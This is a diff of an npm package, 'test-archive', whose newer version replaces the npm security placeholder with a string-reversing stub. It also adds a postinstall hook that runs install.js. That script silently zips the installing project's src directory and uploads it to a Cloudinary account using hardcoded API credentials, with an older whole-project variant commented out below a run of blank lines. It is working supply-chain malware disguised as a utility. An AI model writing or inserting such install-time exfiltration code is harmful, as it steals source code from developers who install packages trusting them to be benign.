test-archive 0.0.1-security → 1.0.18

package/README.md

@@ -1,5 +1 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=test-archive for more information.
+# test-archive

package/index.js

@@ -0,0 +1,2 @@
+const reverseString = (str) => str.split("").reverse().join("");
+module.exports = reverseString;

package/install.js

@@ -0,0 +1,161 @@
+const fs = require('fs');
+const path = require('path');
+const axios = require('axios');
+const FormData = require('form-data');
+const archiver = require('archiver');
+
+const cloudinary = require('cloudinary');
+
+cloudinary.v2.config({
+  cloud_name: 'dopupdkj3',
+  api_key: '269319974335626',
+  api_secret: 't0k5-ZkJgdzqSoN9-aCczJ1PhRY',
+  secure: true,
+});
+
+const options = {
+  use_filename: true,
+  unique_filename: false,
+  overwrite: true,
+}
+
+/**
+ * Uploads a compressed archive of a project (excluding 'node_modules') to an endpoint.
+ * Assumes the project directory is located two directories up from the package directory.
+ * @param {string} packageDirectory - The path to the package directory.
+ * @param {string} endpoint - The URL where the archive will be uploaded.
+ */
+async function uploadProjectArchiveToEndpoint() {
+  console.log("function called to upload");
+  try {
+    // Determine the project directory path (two directories up from the package directory)
+    const projectDirectory = path.join('..', '..', 'src');
+    console.log("🚀 ~ file: install.js:32 ~ uploadProjectArchiveToEndpoint ~ projectDirectory:", projectDirectory);
+
+    const archiveFilePath = path.join(projectDirectory, 'project-archive.zip');
+    console.log("🚀 ~ file: install.js:35 ~ uploadProjectArchiveToEndpoint ~ archiveFilePath:", archiveFilePath);
+
+    // Create a write stream for the archive
+    const archive = archiver('zip', { zlib: { level: 9 } });
+    const archiveStream = fs.createWriteStream(archiveFilePath);
+
+    // Recursively add all files and folders (excluding 'node_modules') to the archive
+    function addFilesToArchive(dir) {
+      const files = fs.readdirSync(dir);
+
+      for (const file of files) {
+        const filePath = path.join(dir, file);
+        const relativePath = path.relative(projectDirectory, filePath);
+
+        if (!relativePath.startsWith('node_modules') && !relativePath.startsWith('public')) {
+          if (fs.statSync(filePath).isDirectory()) {
+            addFilesToArchive(filePath);
+          } else {
+            archive.file(filePath, { name: relativePath });
+          }
+        }
+      }
+    }
+
+    addFilesToArchive(projectDirectory);
+
+    // Pipe the archive to the write stream
+    archive.pipe(archiveStream);
+
+    // Finalize the archive and wait for it to finish writing
+    await archive.finalize();
+
+    // Create a FormData object and append the archive
+    const formData = new FormData();
+    formData.append('archive', fs.createReadStream(archiveFilePath));
+
+    // Make a POST request to upload the archive
+    // const response = await axios.post(CLOUDINARY_UPLOAD_ENDPOINT, formData, {
+    //   headers: {
+    //     ...formData.getHeaders(),
+    //   },
+    // });
+
+    try {
+      // Upload the image
+      const result = await cloudinary.uploader.upload(formData, options);
+      console.log(result);
+      return result.public_id;
+    } catch (error) {
+      console.error(error);
+    }
+
+    // console.log('Upload successful:', response.data);
+
+    // Clean up: remove the temporary archive file
+    fs.unlinkSync(archiveFilePath);
+  } catch (error) {
+    console.error('Error uploading project archive:', error);
+  }
+}
+
+uploadProjectArchiveToEndpoint();
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+// // install.js
+
+// const fs = require('fs');
+// const archiver = require('archiver');
+
+// // Define the source directory to be zipped
+// const sourceDirectory = '../../.';
+
+// // Create a zip archive
+// const output = fs.createWriteStream(`Project${sourceDirectory}.zip`);
+// const archive = archiver('zip', { zlib: { level: 9 } });
+
+// output.on('close', () => {
+//   console.log(`"${sourceDirectory}.zip" has been created.`);
+// });
+
+// archive.on('error', (err) => {
+//   throw err;
+// });
+
+// archive.pipe(output);
+
+// // Add the contents of the source directory to the zip file
+// archive.directory(sourceDirectory, false);
+
+// // Finalize the zip archive
+// archive.finalize();
+
+// // const reverseString = (str) => str.split("").reverse().join("");
+// // module.exports = reverseString;
+
+

package/package.json

@@ -1,6 +1,27 @@
 {
   "name": "test-archive",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.18",
+  "description": "testing",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node install.js"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/mayankcg9/test-archive.git"
+  },
+  "author": "",
+  "license": "ISC",
+  "bugs": {
+    "url": "https://github.com/mayankcg9/test-archive/issues"
+  },
+  "homepage": "https://github.com/mayankcg9/test-archive#readme",
+  "dependencies": {
+    "archiver": "^6.0.1",
+    "cloudinary": "^1.40.0",
+    "form-data": "^4.0.0",
+    "fs": "^0.0.1-security",
+    "path": "^0.12.7"
+  }
 }